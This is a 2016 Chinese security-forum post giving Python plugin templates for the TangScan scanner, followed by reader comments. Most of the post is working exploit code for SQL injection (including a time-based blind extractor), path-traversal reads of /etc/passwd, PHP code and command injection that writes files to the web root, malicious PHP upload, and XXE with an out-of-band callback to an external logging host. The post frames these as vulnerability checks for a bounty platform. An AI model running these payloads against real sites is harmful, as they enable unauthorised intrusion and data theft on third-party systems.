TangScan几种漏洞类型的插件模板

  • A+
所属分类:WooYun-Zone

在展示各类模板前也对一些简单的规范说明一下:

1、非特殊需求请使用requests模块来帮助您完成请求(from thirdparty import requests);

2、非特殊需求请求超时时间设置为15秒,且不要忘记verify=False。

3、不得在插件中带有不和谐的关键字,比如:TangScan、后门、shell、WebShell、入侵、攻击等等;

4、插件代码一定要做异常处理,很多考虑不到的情况会导致插件代码报错。

5、请求多的插件(如盲注)各个请求之间sleep 0.2-0.4秒,防止给目标站点带来压力,同时也不影响注入结果。

6、插件信息要正确无误且完善,标题规范为xx应用xx页面(xx参数)xx漏洞,如:Oblog /tags.asp tagid参数SQL注入漏洞

7、插件要将简单的利用结果展示出来如注入类的数据库版本、文件读取类的文件内容等;同时也要将利用方法放到结果中去(如:目标 xxx 存在xxx漏洞,获取到的数据库版本为 xxx,漏洞地址:xxxx,POST参数:xxxx)。

插件不规范或不符合要求的审核时会扣取一定汤圆或直接打回重写。

一、注入类

1、非盲注

def verify(self):

        exp_url="{domain}/xxxx?sql=a' and 1=CONVERT(int,CHAR(126)%2BCHAR(126)%2BCHAR(126)%2B@@version%2BCHAR(126)%2BCHAR(126)%2BCHAR(126))--".format(domain=self.option.url.rstrip('/'))

        try:

            response = requests.get(url=exp_url, timeout=15, verify=False)

            result = re.findall(r'~~~(.*?)~~~', response.content, re.S | re.I)

        except Exception, e:

            self.result.error = str(e)

            return

        if len(result) == 0:

            self.result.status = False

            return

        self.result.status = True

        self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的数据库版本信息: {version}\n\t测试链接: {eurl}".format(

            url=self.option.url,

            version=result[0],

            eurl=exp_url

        )

说明:使用正则去匹配运算出来的字符串~~~之间的内容,可避免误报。为何不能使用’~~~’+@@version+’~~~’,请参考:http://zone.wooyun.org/content/23375

2、盲注

def verify(self):

        user = ""

        user_length = 0

        exp_url = ("{domain}/login.cgi".format(domain=self.option.url))

        payloads = ['@','_','.', '-', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']+ list(string.ascii_lowercase)

        data = {

                "act":"login",

                "user_name":"",

                "user_pwd":"222222"

        }

        l = "111111' AND (SELECT * FROM (SELECT(if(length(substring(version(),1))=%s,sleep(8),0)))xss) AND 'xss'='xss"

        s = "111111' AND (SELECT * FROM (SELECT(if(ascii(lower(mid(version(),%s,1)))=%s,sleep(6),0)))xss) AND 'xss'='xss"

        for x in range(1, 30):

            start = time.time()

            data["user_name"] = l % str(x)

            try:

                response = requests.post(exp_url, data=data, timeout=15, verify=False)

                time.sleep(0.3)#限制请求速率

                if response.status_code != 200:

                    self.result.status = False

                    return

            except Exception,e:

                self.result.error = str(e)

                return

            end = time.time()

            if (end - start) >=8:

                user_length = x

                break

        if user_length == 0:

            self.result.status = False

            return

        for x in range(1, user_length+1):

            for payload in payloads:

                start = time.time()

                data["user_name"] = s % (str(x), str(ord(payload)))

                try:

                    response = requests.post(exp_url, data=data, timeout=15, verify=False)

                    time.sleep(0.3)#限制请求速率

                    if response.status_code != 200:

                        self.result.status = False

                        return

                except Exception,e:

                    self.result.error = str(e)

                    return

                end = time.time()

                if (end - start) >=6:

                    user = user + payload

                    

        if user.find("5.")==-1:#减小误报机率

            self.result.status = False

            return

        self.result.status = True

        self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的当前数据库版本为:{db_user}".format(

            url=self.option.url,

            db_user=user

        )

注意这么几个地方:

1、你可以使用更好的方法来获取数据(比如二分法、多线程),但前提是代码要简洁易懂。

2、每个请求之间sleep 0.2-0.4秒,以避免给目标站点带来过大压力。

3、最终的结果(数据库版本)要查找有无关键字:5.(MYSQL)、Micro(MSSQL)、Ora(Oracle),这样能很大程度减小误报机率。数据库版本信息不一定非要跑完,能证明存在注入就行,如MSSQL跑前面的 Microsoft SQL Server 20xx即可。

二、任意文件读取类

def verify(self):

        exp_url = ("{domain}/plugin.php?action=../../../../../../../../etc/passwd%00&id=dc_mall".format(domain=self.option.url))

        try:

            response = requests.get(exp_url, timeout=15, verify=False)

            if response.content.find(":root:") != -1:

                self.result.status = True

                self.result.description = "目标 {url} 存在任意文件读取漏洞,测试方法:{eurl},获取到的/etc/passwd内容:\n {content}".format(

                    url=self.option.url,

                    eurl=exp_url,

                    content=response.content

                )

        except Exception, e:

            self.result.error = str(e)

            return

说明:Linux一般读取/etc/passwd根据返回内容中有无:root:来判断漏洞是否存在,Windows一般读取C:\Windows\win.ini,判断返回结果中有无[MCI Extensions.BAK]来验证漏洞是否存在。如遇特殊情况,可读取网站目录下的脚本文件或配置文件,根据其中的关键字来判断漏洞是否存在(如:xxx.php、xxx.xml等)。

三、代码执行类

def verify(self):

        exp_url = "{domain}/preview.php".format(domain=self.option.url.rstrip('/'))

        data = "previewtxt=<?php echo 23333334-1;?>"

        headers = {

            "User-Agent": "Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/39.0",

            "Content-Type": "application/x-www-form-urlencoded"

        }

        try:

            response = requests.post(exp_url, data=data, headers=headers, timeout=15, allow_redirects=False, verify=False)

        except Exception, e:

            self.result.error = str(e)

            return

        if response.content.find("23333333") == -1:

            self.result.status = False

            return

        self.result.status = True

        self.result.description = "目标 {url} 存在代码执行漏洞, 测试链接: {eurl}, POST数据为: {post_data}".format(

            url=self.option.url,

            eurl=exp_url,

            post_data=data

        )

四、命令执行类

def verify(self):

        filename = "tang_%s.php" % str(random.randint(1111, 9999))

        exp_url = ("{domain}/acc/tools/enable_tool_debug.php?val=0&tool=1&par=172.0.0.1' | echo '<?php echo(2333334-1);?>' >{file}| '".format(domain=self.option.url, file=filename))

        vfy_url = ("{domain}/acc/tools/{file}".format(domain=self.option.url, file=filename))

        try:

            response = requests.get(exp_url, timeout=15, verify=False)

            if response.status_code == 200:

                response = requests.get(vfy_url, timeout=15, verify=False)

            else:

                self.result.status = False

                return

        except Exception, e:

            self.result.error = str(e)

            return

        if response.content.find('2333333') == -1:

            self.result.status = False

            return

        self.result.status = True

        self.result.description = "目标 {url} 存在远程命令执行漏洞,测试方法:{eurl},使用echo命令生成的测试文件地址:{adr}".format(

            url=self.option.url,

            eurl=exp_url,

            adr=vfy_url

        )

五、文件上传类

def verify(self):

        url = "{domain}/webservice/upload.php".format(domain=self.option.url.rstrip('/'))

        randnum = random.randint(666, 666666)

        filename = "error"+str(randnum)+".php"

        vef_url = self.option.url.rstrip('/') + "/attachment/{attachment_id}/" + filename

        shell = "<?php print(md5('1'));?>"

        files = {

            'file' : (filename, shell, 'image/jpeg'),

        }

        try:

            response = requests.post(url=url, files=files, timeout=15, verify=False)

            attachment_id = re.findall(r'(\d+?)\*', response.content, re.S|re.I)

            if len(attachment_id) == 0:

                self.result.status = False

                return

            vef_url  = vef_url.format(attachment_id=attachment_id[0])

            response = requests.get(url=vef_url, timeout=15, verify=False)  

        except Exception,e:

            self.result.error  = str(e)

            return

        if response.content.find('c4ca4238a0b923820dcc509a6f75849b') == -1:

            self.result.status = False

            return

        self.result.status = True

        self.result.description = "目标 {url} 存在任意文件上传漏洞,上传的测试文件地址为:{shell_url}".format(

            url= self.option.url,

            shell_url= vef_url

        )

说明:

1、代码执行、命令执行、文件上传类均可以在Web目录生成一个代码文件,然后访问此文件,通过判断代码有没有执行得到预期的关键字来验证漏洞是否存在。不能仅仅判断访问上传后的文件是否200来判断上传成功,有些情况下上传目录不解析。

2、生成的文件名要随机化(如:tang_xxxx.xxx),不能固定。

六、CloudEye验证类

def verify(self):

        exp_url = ("{domain}/xxxx/xxxx/xxxx".format(domain=self.option.url))

        headers = {

                    "SOAPAction": "",

                    "Content-Type": "text/xml;charset=UTF-8"

        }

        try:

            domain = "%s"%(urlparse.urlparse(self.option.url).netloc)

            num_str = str(random.randint(11111, 99999))

            judge = "[%s][%s]"%(domain, num_str)

            data = """\

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY %% remote SYSTEM "http://xxx.12e68e.dnslog.info/%s">%%remote;]>

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://www.live800.com">

     <SOAP-ENV:Header/>

     <SOAP-ENV:Body>

        <urn:check>

           <urn:in0>1</urn:in0>

        </urn:check>

     </SOAP-ENV:Body>

</SOAP-ENV:Envelope>

        """%judge

            exp = requests.post(exp_url, headers=headers, data=data, timeout=15, verify=False)

            time.sleep(5)#防止网络延迟导致漏报

            cloudeye_url = "http://cloudeye.me/api/3fd078bf283461ca24f3fb87f7860d35/xxx"

            response = requests.get(cloudeye_url, timeout=15, verify=False)

            if response.content.find(domain)!=-1 and response.content.find(num_str)!=-1:

                self.result.status = True

                self.result.description = "目标 {url} 存在XXE漏洞, 地址:{eurl} SOAP请求数据如下:\n{data}".format(

                    url=self.option.url,

                    eurl=exp_url,

                    data=data,

                )

        except Exception, e:

            self.result.error = str(e)

            return

说明:使用CloudEye验证时注意设置一个延时,以防漏报。

CloudEye介绍请见:http://zone.wooyun.org/content/18962

更多漏洞类型的简单模板,如有需求可在回复中提出。欢迎来TangScan提交插件!现金奖励等你来拿!

  1. 1#

    岛云首席鉴黄师 (乌云核心绿帽子 《绿帽子讲婚姻安全》作者) | 2016-01-22 19:13

    1L 前排支持

  2. 2#

    侦探911 | 2016-01-22 19:17

    大赞红师傅

  3. 3#

    (慢慢的我,习惯了这种生活.) | 2016-01-22 19:20

    红老师岂是一个屌字能形容的.

  4. 4#

    phith0n | 2016-01-22 19:31

    收藏!

  5. 5#

    90Snake | 2016-01-22 19:36

    大赞红师傅

  6. 6#
    感谢(1)

    浮萍 ((0)) | 2016-01-22 19:54

    666

  7. 7#

    Me_Fortune (汪汪汪) | 2016-01-22 20:20

    收藏!

  8. 8#

    李旭敏 (˿̖̗̀́̂̃̄̅̆̇̈̉̊̋̌̍̎̏̐̑̒̓̔̕) | 2016-01-22 20:21

    有模版小白也可以写插件了!赞

  9. 9#

    Vigoss_Z (http://i-security.cc) | 2016-01-22 20:32

    verify=False是防止https的站点应为证书问题会直接抛出异常的;
    考虑到网络延迟问题,盲注0.2-0.4的时间太短了,误报可能性太大。
    命令执行,MD5(’23333333′),然后匹配23333333的md5值,误报小!

  10. 10#

    RedFree (‮11:11 11-11-1112 |※(器杀制自) | 2016-01-22 20:56

    @Vigoss_Z 0.2-0.4秒是用来限制请求速率的而非用来判断注入的,2333333是2333334-1得到的,同样不会误报。

  11. 11#

    Vigoss_Z (http://i-security.cc) | 2016-01-22 21:00

    @RedFree 额。
    我又误报了

  12. 12#

    boooooom | 2016-01-22 21:17

    点感谢没?

  13. 13#

    Jumbo (www.chinabaiker.com) | 2016-01-22 22:12

    顶,提交了一个

  14. 14#

    狗狗侠 | 2016-01-22 22:46

    这个挺好的。

  15. 15#

    坏男孩-A_A | 2016-01-23 07:43

    mark

  16. 16#

    BeenQuiver | 2016-01-23 15:01

    干货满满的

  17. 17#

    黑吃黑 (粪土当年万户侯) | 2016-01-23 15:37

    不错

  18. 18#

    随页清风 | 2016-01-23 22:37

    大赞

  19. 19#

    0c0c0f (DebugPwn) | 2016-01-23 23:53

    mark

  20. 20#

    紫霞仙子 | 2016-01-25 10:11

    大法好!

  21. 21#

    Comer | 2016-01-25 13:57

    收了

  22. 22#

    啊L川 | 2016-01-26 19:20

    红师傅  

  23. 23#

    pyphrb (fuck寂寞的瘦子) | 2016-01-27 10:54

    红师傅

  24. 24#

    Lar2y | 2016-02-05 11:14

    感谢分享~~~

  25. 25#

    sysALong (ด้้้้้็็็็็้้้้้ ด้้้้้็็) | 2016-03-31 11:30

    能不能给一个 GET 盲注  的脚本示例。。让我们学习一下 谢谢了。。

  26. 26#

    sysALong (ด้้้้้็็็็็้้้้้ ด้้้้้็็) | 2016-04-01 10:20

    tangscan windows 环境下 cmd中文乱码怎么破?  gbk gb3212 也白费啊

  27. 27#

    0c0c0f (DebugPwn) | 2016-06-04 02:14

    if user.find(“5.”)==-1:#减小误报机率  遇到个奇葩站把db版本给改了。